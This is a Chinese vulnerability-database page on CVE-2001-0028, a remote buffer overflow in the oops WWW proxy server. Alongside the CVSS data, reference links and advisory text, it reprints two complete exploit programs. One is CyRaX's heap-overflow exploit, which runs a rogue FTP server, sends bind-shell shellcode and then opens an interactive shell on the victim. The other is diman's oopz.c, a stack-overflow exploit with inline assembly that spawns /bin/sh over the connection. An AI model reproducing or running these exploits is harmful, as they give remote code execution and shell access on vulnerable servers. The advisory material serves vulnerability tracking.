CVE-2001-0028
CVSS10.0
发布时间 :2001-02-12 00:00:00
修订时间 :2008-09-05 16:23:05
NMCOES    

[原文]Buffer overflow in the HTML parsing code in oops WWW proxy server 1.5.2 and earlier allows remote attackers to execute arbitrary commands via a large number of " (quotation) characters.


[CNNVD]oops WWW代理服务系统缓冲区溢出漏洞(CNNVD-200102-062)

        oops WWW代理服务系统1.5.2及其早期版本的HTML语法分析代码存在缓冲区溢出漏洞。远程攻击者借助大量“(引用语)字符执行任意命令。

- CVSS (基础分值)

CVSS分值: 10 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0028
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-0028
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200102-062
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/2099
(VENDOR_ADVISORY)  BID  2099
http://archives.neohapsis.com/archives/freebsd/2000-12/0418.html
(VENDOR_ADVISORY)  FREEBSD  FreeBSD-SA-00:79
http://archives.neohapsis.com/archives/bugtraq/2000-12/0127.html
(VENDOR_ADVISORY)  BUGTRAQ  20001211 [pkc] remote heap buffer overflow in oops
http://xforce.iss.net/static/5725.php
(VENDOR_ADVISORY)  XF  oops-ftputils-bo

- 漏洞信息

oops WWW代理服务系统缓冲区溢出漏洞
危急 缓冲区溢出
2001-02-12 00:00:00 2005-10-12 00:00:00
远程  
        oops WWW代理服务系统1.5.2及其早期版本的HTML语法分析代码存在缓冲区溢出漏洞。远程攻击者借助大量“(引用语)字符执行任意命令。

- 公告与补丁

        

- 漏洞信息 (20495)

Oops Proxy Server 1.4.22 Buffer Overflow Vulnerabilities (1) (EDBID:20495)
unix remote
2000-12-11 Verified
0 CyRaX
N/A [点击下载]
source: http://www.securityfocus.com/bid/2099/info

Oops is a freely available proxy server package, written by Igor Khasilev. A problem exists in the package which could allow for the arbitrary execution of code.

Multiple buffer overflows exist in this product. In one instance, it is possible to make a request with numerous quotation marks (") in the request, which are later translated to the html tag """. The translation of this character makes it possible to overflow and potentially execute code on the stack. This makes it possible for a malicious user to execute code with the privileges of the user the proxy server is operating as.

The secondary problem involves a buffer overflow in the DNS resolution code. It is possible to create a stack based overflow by forcing the proxy to attempt to resolve a long host/domain name. This makes it possible to overwrite variables on the stack, and potentially execute arbitrary code. It is possible for a malicious user to exploit this problem and execute commands with the privileges inherited by the proxy server process. 

/* Dimostrative Exploit Against Oops Proxy Server v 1.4.22 and prior
 * Coded by |CyRaX| <cyrax@pkcrew.org>
 * Packet Knights Crew : www.pkcrew.org
 * Tested on Slackware 7.0
 *
 * Greetz : all the bros of pkc, expecially recidjvo,asynchro & cthulhu
 * LordFelix & bikappa : for some hints about heap overflow
 * BlackBerry , Nobody88, sMAV, Mav, Mr^Moon and all the others
*/


#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <sys/types.h>

#define ALIGN 0
#define __FREE_HOOK 0x40175994
#define SHELLCODE 0x80b1223


char c0de[]="\xeb\x0b\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
            "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
            "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
            "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
            "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
            "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
            "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
            "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
            "\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";


int main(int argc,char **argv){
   int s,s2,clnsock,i;
   struct sockaddr_in srv,clt;
   char buff[500],sndbuff[1500],magic[1000],magic2[50],magic3[5000];
   unsigned long ip;
   int h1,h2,h3,h4,p1,p2;
   u_short port;
   int passive=0,tmplen,wrtlen;
   struct malloc_chunk{
      unsigned int ps;
      unsigned int sz;
      struct malloc_chunk *fd;
      struct malloc_chunk *bd;
   }mc;
   fd_set setz;

   mc.ps=0xffffffff & ~1;
   mc.sz=0xffffffff;
   mc.fd=(struct malloc_chunk *)(SHELLCODE); /* shellcode pointer */
   mc.bd=(struct malloc_chunk *)(__FREE_HOOK-8); /* target pointer */
   memset(magic2,0x41,0);
   memcpy(magic2+0,&mc,sizeof(mc));

   memset(magic3,'\x90',50);
   memcpy(magic3+50,c0de,strlen(c0de));
   magic3[50+strlen(c0de)]=0;

   if(argc<4){
      printf("Proof exploit against oops proxy server heap buffer overflow!\n");
      printf("by |CyRaX| <cyrax@pkcrew.org>\n");
      printf("Member Of Packet Knights Crew - http://www.pkcrew.org\n");
      printf("Usage ./oopsexp <your_ip> <victim ip> <hostname len>\n");
      printf("your ip: it is necessary for the passive mode\n");
      printf("hostname len is the len of the host that he *thinks* to have\n");
      printf("         for example if the hostname is c500 you must put 4 here\n");

      exit(0);
   }
   printf("now set the victim as your proxy in any web browser and go to\n");
   printf("ftp://<your_ip>\n");

   for(i=0;i<strlen(argv[1]);i++)if(argv[1][i]=='.')argv[1][i]=',';


   s=socket(AF_INET,SOCK_STREAM,0);
   srv.sin_addr.s_addr=INADDR_ANY;
   srv.sin_port=htons(21);
   srv.sin_family=AF_INET;
   if(bind(s,(struct sockaddr *)&srv,sizeof(srv))<0){
      printf("cannot bind to port 21 !\n");
      exit(0);
   }
   listen(s,1);
   clnsock=accept(s,(struct sockaddr *)&clt,sizeof(clt));
   close(s);
   strcpy(buff,"220 exploit is here :)\r\n");
   send(clnsock,buff,strlen(buff),0);
   recv(clnsock,buff,500,0);
   strcpy(buff,"331 any pass is good d00d\r\n");
   send(clnsock,buff,strlen(buff),0);
   recv(clnsock,buff,500,0);
   strcpy(buff,"230 oky d00d.. login done!\r\n");
   send(clnsock,buff,strlen(buff),0);
   while(1){
      memset(buff,0,500);
      if(recv(clnsock,buff,500,0)<0)break;
      if(strstr(buff,"SYST")){
         strcpy(sndbuff,"215 UNIX Type: L8\r\n");
         send(clnsock,sndbuff,strlen(sndbuff),0);
      }
      if(strstr(buff,"PASV")){
         srv.sin_port=htons(1322);
         if(passive==0){
            s=socket(AF_INET,SOCK_STREAM,0);
            if(bind(s,(struct sockaddr *)&srv,sizeof(srv))<0){
               printf("cannot bind to port 1322 for passive mode!\n");
               exit(0);
            }
            listen(s,4);
            passive=1;
         }
         else {
            close(s2);
         }
         sprintf(sndbuff,"227 Entering Passive Mode (%s,5,42)\r\n",argv[1]);
         send(clnsock,sndbuff,strlen(sndbuff),0);
      }
      if(strstr(buff,"TYPE")){
         strcpy(sndbuff,"200 vabbuo' vabbuo'\r\n");
         send(clnsock,sndbuff,strlen(sndbuff),0);
      }
      if(strstr(buff,"NLST")){
         if(passive){
            s2=accept(s,NULL,NULL);
            strcpy(sndbuff,"150 Opening ASCII mode data connection for file list.\r\n");
            send(clnsock,sndbuff,strlen(sndbuff),0);
            sprintf(sndbuff,"%s\r\n",magic3);
            send(s2,sndbuff,strlen(sndbuff),0);
            close(s2);
            strcpy(sndbuff,"226 Transfer complete.!\r\n");
            send(clnsock,sndbuff,strlen(sndbuff),0);
        
         }
      }

      if(strstr(buff,"LIST")){
         strcpy(sndbuff,"150 vieni pure amore!\r\n");
         s2=accept(s,NULL,NULL);
        
         /*   HOW MANY BYTES TO WRITE COMPUTING */
         tmplen=0;
         tmplen=strlen("Arwxrwxrwx rooOOOt   \r\n ")*3+strlen(magic2)*3+
           strlen(magic3)*3;
         tmplen=tmplen+128; /* dovesok */
         tmplen=tmplen+atoi(argv[3]);
         tmplen+=10;
         wrtlen=strlen("<img src=\"http://:80/icons/unknown.gif\">"
                       "alt=\"[Unkn] \" ")+atoi(argv[3]);
         wrtlen=wrtlen+strlen("Arwxrwxrwx rooOOOt   \r\n")+strlen(magic2);
         i=0;

         while((wrtlen-tmplen)<16){
               magic[i]='"';
               tmplen+=3; /* 1 *3 */
               wrtlen+=6; /* " */
               i++;
         }
         magic[i]=0;
         printf("ora tmplen %i | wrtlen %i\n",tmplen,wrtlen);
        
        
         memset(sndbuff,0,1500);
         snprintf(sndbuff,6000,"Arwxrwxrwx rooOOOt %s %s 2000 %s\r\n",
                  magic,
                  magic2,
                  magic3);
        
         send(s2,sndbuff,3000,0);
         strcpy(sndbuff,"226 Ho finito\r\n");
         send(clnsock,sndbuff,strlen(sndbuff),0);
         shutdown(s2,2);
         printf("closed!\n");
         sleep(5);
         s2=socket(AF_INET,SOCK_STREAM,0);
         clt.sin_addr.s_addr=inet_addr(argv[2]);
         clt.sin_port=htons(3879);
         clt.sin_family=AF_INET;
         if(connect(s2,(struct sockaddr *)&clt,sizeof(clt))!=0){
            printf("SORRY.. it didn't work!\n");
            exit(0);
         }
         strcpy(sndbuff,"uname -a;id\n");
         send(s2,sndbuff,strlen(sndbuff),0);
         while(1){
            FD_ZERO(&setz);
            FD_SET(0,&setz);
            FD_SET(s2,&setz);
            select(s2+1,&setz,NULL,NULL,NULL);
            if(FD_ISSET(0,&setz)){
               memset(sndbuff,0,sizeof(sndbuff));
               fgets(sndbuff,sizeof(sndbuff),stdin);
               send(s2,sndbuff,strlen(sndbuff),0);
            }
            if(FD_ISSET(s2,&setz)){
               memset(sndbuff,0,sizeof(sndbuff));
               recv(s2,sndbuff,sizeof(sndbuff),0);
               printf("%s",sndbuff);
            }
         }
      }
      if(strstr(buff,"CWD")){
         strcpy(sndbuff,"250 SUUU.. FATTI SOTTO !\r\n");
         send(clnsock,sndbuff,strlen(sndbuff),0);
      }
      if(strstr(buff,"PWD")){
         strcpy(sndbuff,"257 \"/\" ti stai cagando sotto eh ?!\r\n");
         send(clnsock,sndbuff,strlen(sndbuff),0);
      }
      if(strstr(buff,"QUIT")){
         close(clnsock);
      }
   }
   close(clnsock);
   close(s);
   close(s2);
}

		

- 漏洞信息 (20496)

Oops Proxy Server 1.4.22 Buffer Overflow Vulnerabilities (2) (EDBID:20496)
linux remote
2000-12-07 Verified
0 diman
N/A [点击下载]
source: http://www.securityfocus.com/bid/2099/info
 
Oops is a freely available proxy server package, written by Igor Khasilev. A problem exists in the package which could allow for the arbitrary execution of code.
 
Multiple buffer overflows exist in this product. In one instance, it is possible to make a request with numerous quotation marks (") in the request, which are later translated to the html tag """. The translation of this character makes it possible to overflow and potentially execute code on the stack. This makes it possible for a malicious user to execute code with the privileges of the user the proxy server is operating as.
 
The secondary problem involves a buffer overflow in the DNS resolution code. It is possible to create a stack based overflow by forcing the proxy to attempt to resolve a long host/domain name. This makes it possible to overwrite variables on the stack, and potentially execute arbitrary code. It is possible for a malicious user to exploit this problem and execute commands with the privileges inherited by the proxy server process. 

/*--oopz.c---//-------------r-3-m-0-t-3---------------\\-------------*

 TARGET :       oops-1.4.6 (one russi4n proxy-server)
 CLASS  :       remote
 0S     :       FreeBSD 4.(0 - 2)
 AUTH0R :       diman
 VEND0R :       wanna payment for support. I'm not doing his job, yeh?
 DATE   :       7-11-2k
 N0TE   :       xploit was coded for fun only.
 GREETS :       &y, fm, JU$ (all for be a gOod guys)
*/

#define BUFADDR         0xbfafe55f      // ret
#define OFFSET2         450             // second copy
#define RETOFF          1363            // ip offset

#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <unistd.h>

/*
   I found two offsets where our shellcode can be placed.
   Since ret value is hardcoded, we should use two copies
   of shellcode. But last part of the second copy can be
   corrupted during procedure processing. Solution is to
   check current offset of the shellcode and jump from
   second copy to the first one. Something like v1r11 :)
   Also we avoids large letters in the shellcode
   and some other characters. We simple dup2(33,0) before
   execve, so be sure you are only connected if you don't
   wanna provide sh3ll for someone else =)   Enough...
*/


int
shellcode(char* buf) {
__asm__("
        call    ne0;
ne0:    popl    %eax;
        nop;
        nop;
        LEN1 = sh - ne0 ;
        leal    LEN1(%eax),%eax;
        pushl   %eax;
        pushl   8(%ebp);
        call    strcpy;
        addl    $8,%esp;
        jmp     done;


//-----s-h-e-l-l-c-o-d-e---s-t-a-r-t-s---h-e-r-e--------//

sh:     .fill 6,1,0x90;         // magic nops
        jmp     me;
retme:  popl    %esi;
        nop;
        movl    %esi,%eax;
        DELTA = huh - sh - 450;
        negl    %eax;
        leal    DELTA(%eax),%eax;
        negl    %eax;
        movl    (%eax),%ebx;
        cmpl    $0x90909090,%ebx;
        je      huh;            // we are in the first copy yet
        movl    %esi,%eax;      // jump to first copy
        leal    -450(%eax),%eax;
        jmp     *%eax;
me:     call    retme;
        
huh:    .fill   5,1,0x90;       
        jmp     call0;          // just one more (we not shure where we are)
ret0:   popl    %esi;
        movl    (%esi),%ebx;    // decrypt /bin/sh
        subl    $0x30303030,%ebx;
        movl    %ebx,(%esi);
        movl    4(%esi),%ebx;
        subl    $0x30303030,%ebx;
        movl    %ebx,4(%esi);
        xorl    %eax,%eax;
        movl    %esi,%edi;
        negl    %edi;
        leal    -7(%edi),%edi;
        negl    %edi;
        movb    %al,(%edi);     // end it with 0
        jmp     prep;

call0:  call    ret0;   
        .byte   0x5f,0x92,0x99,0x9e,0x5f,0xa3,0x98,0xee,0x03; /* /bin/sh */

dup2:   leal    -4(%esp),%esp;
        movl    %ecx,(%esp);
        leal    -4(%esp),%esp;
        movl    $-33,%eax;
        negl    %eax;
        movl    %eax,(%esp);
        movl    $-0x5a,%eax;
        negl    %eax;
        leal    -4(%esp),%esp;  
        int     $0x80;
        negl    %esp;
        leal    -0xc(%esp),%esp;
        negl    %esp;
        ret;

prep:   xorl    %ecx,%ecx;
        call    dup2;
        movb    $1,%cl;
        call    dup2;
        movb    $2,%cl;
        call    dup2;

        xorl    %eax,%eax;
        leal    -4(%esp),%esp;
        movl    %eax,(%esp);    // 0
        leal    -4(%esp),%esp;  
        movl    %esi,(%esp);    // name
        movl    %esp,%edi;
        leal    -4(%esp),%esp;  
        movl    %eax,(%esp);    // envp
        leal    -4(%esp),%esp;  
        movl    %edi,(%esp);    // av[]
        leal    -4(%esp),%esp;
        movl    %esi,(%esp);    // name
        movb    $0x3b,%al;      // execve
        leal    -4(%esp),%esp;
        int     $0x80;
        xorl    %eax,%eax;
        movl    %eax,(%esp);
        movl    %eax,%ebx;
        movb    $1,%al;         // exit
        leal    -4(%esp),%esp;
        int     $0x80;
        nop;                    // hip
        nop;                    // hop
        .byte   0x00;
done:;
");
}


int res(char*,struct sockaddr_in *);
void spawned_shell(int sock);


main(int ac, char** av){
#define SZ      0x2000
#define FIL     0xbf
        char buf[SZ],buf2[SZ],*pc,c;
        int i,sock;
        struct sockaddr_in sin;         
        short port=3128;
        unsigned *pu;
        memset(buf,FIL,SZ);
        shellcode(buf);
        buf[strlen(buf)]=FIL;
        pc=&buf[OFFSET2];
        shellcode(pc);
        pc+=strlen(pc);
        *pc=FIL;
        pu=(unsigned*)&buf[RETOFF];
        *pu=BUFADDR;
        buf[RETOFF+4]=0;
        strcpy(buf2,"GET http://p");
        strcat(buf2,buf);
        strcat(buf2," HTTP/1.0\r\n\r\n");
        fprintf(stderr,"oops-1.4.6 remote xpl0it for 4.x by diman.\n");
        fprintf(stderr,"use for educational purpose only.\n");
        if(ac<2) {
                fprintf(stderr,"usage: ./oopz target_host [port, def=3128]\n");
                exit(0);
        }
        pc=av[1];
        if(ac>2) port=atoi(av[2]);
        if(!res(pc,&sin)) {
                fprintf(stderr,"can't resolve %s\n",pc);
                exit(0);
        }
        sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
        sin.sin_port=htons(port);       
        if(connect(sock,(struct sockaddr*)&sin,sizeof(struct sockaddr))==-1) {
                fprintf(stderr,"can't connect %s:%d\n",pc,port);
                exit(0);
        }
        fprintf(stderr,"Connected. Sending surprise...\n");
        send(sock,buf2,strlen(buf2),0);
        spawned_shell(sock);
}


int res(char* host,struct sockaddr_in * ps)
{
        struct hostent *he;
        bzero(ps,sizeof(struct sockaddr_in));
        ps->sin_family=AF_INET;
        ps->sin_len=sizeof(struct sockaddr_in);
        if(!inet_aton(host,&ps->sin_addr))
        {       
                he=gethostbyname2(host,AF_INET);
                if(!he) return 0;
                memcpy(&ps->sin_addr,he->h_addr_list[0],sizeof(struct in_addr));
        }
        return 1;
}



/*
        Next was ripped from wildcoyote's gopher sploit.
*/
void spawned_shell(int sock){
        char buf[1024];
        fd_set rset;
        int i;
while (1)
 {
        FD_ZERO(&rset);
        FD_SET(sock,&rset);
        FD_SET(STDIN_FILENO,&rset);
        select(sock+1,&rset,NULL,NULL,NULL);
        if (FD_ISSET(sock,&rset)) {
                i=read(sock,buf,1024);
                if (i <= 0){
                        fprintf(stderr,"Connection lost.\n");
                        exit(0);
                }
                buf[i]=0;
                puts(buf);
        }
        if (FD_ISSET(STDIN_FILENO,&rset))
        {
                i=read(STDIN_FILENO,buf,1024);
                if (i>0){
                        buf[i]=0;
                        if(write(sock,buf,i)<0){
                                fprintf(stderr,"Connection lost.\n");
                                exit(0);
                        }
                }
        }
 }
}
/*---------------------e-n-d---o-f---o-o-p-z-.-c------------------*/
		

- 漏洞信息

1689
Oops Proxy Server HTML Parsing Multiple Remote Overflows
Remote / Network Access Input Manipulation
Loss of Integrity Solution Unknown
Exploit Public

- 漏洞描述

- 时间线

2000-12-11 Unknow
2000-12-11 Unknow

- 解决方案

OSVDB is not aware of a solution for this vulnerability.

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

Multiple Oops Proxy Server Buffer Overflow Vulnerabilities
Boundary Condition Error 2099
Yes No
2000-12-11 12:00:00 2009-07-11 03:56:00
The heap overflow vulnerability was announced by |CyRaX| <cyrax@pkcrew.org> via Bugtraq on December 11, 2000. The stack based overflow was discovered by Dmitry Galyant <diman@asd.kiev.ua> and announced via Bugtraq on December 12, 2000.

- 受影响的程序版本

Igor Khasilev Oops Proxy Server 1.4.22
- Debian Linux 2.3
- FreeBSD FreeBSD 4.2
- FreeBSD FreeBSD 3.5.1
- Mandriva Linux Mandrake 7.2
- RedHat Linux 7.0
- S.u.S.E. Linux 7.0
- Sun Solaris 8_sparc

- 漏洞讨论

Oops is a freely available proxy server package, written by Igor Khasilev. A problem exists in the package which could allow for the arbitrary execution of code.

Multiple buffer overflows exist in this product. In one instance, it is possible to make a request with numerous quotation marks (") in the request, which are later translated to the html tag "&amp;quot;". The translation of this character makes it possible to overflow and potentially execute code on the stack. This makes it possible for a malicious user to execute code with the privileges of the user the proxy server is operating as.

The secondary problem involves a buffer overflow in the DNS resolution code. It is possible to create a stack based overflow by forcing the proxy to attempt to resolve a long host/domain name. This makes it possible to overwrite variables on the stack, and potentially execute arbitrary code. It is possible for a malicious user to exploit this problem and execute commands with the privileges inherited by the proxy server process.

- 漏洞利用

PKCoops-ex.c was contributed by |CyRaX| &lt;cyrax@pkcrew.org&gt; . oopz.c was contributed by Dmitry Galyant &lt;diman@asd.kiev.ua&gt; .

- 解决方案

Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com.


Igor Khasilev Oops Proxy Server 1.4.22

- 相关参考

     

     

    关于SCAP中文社区

    SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

    版权声明

    CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站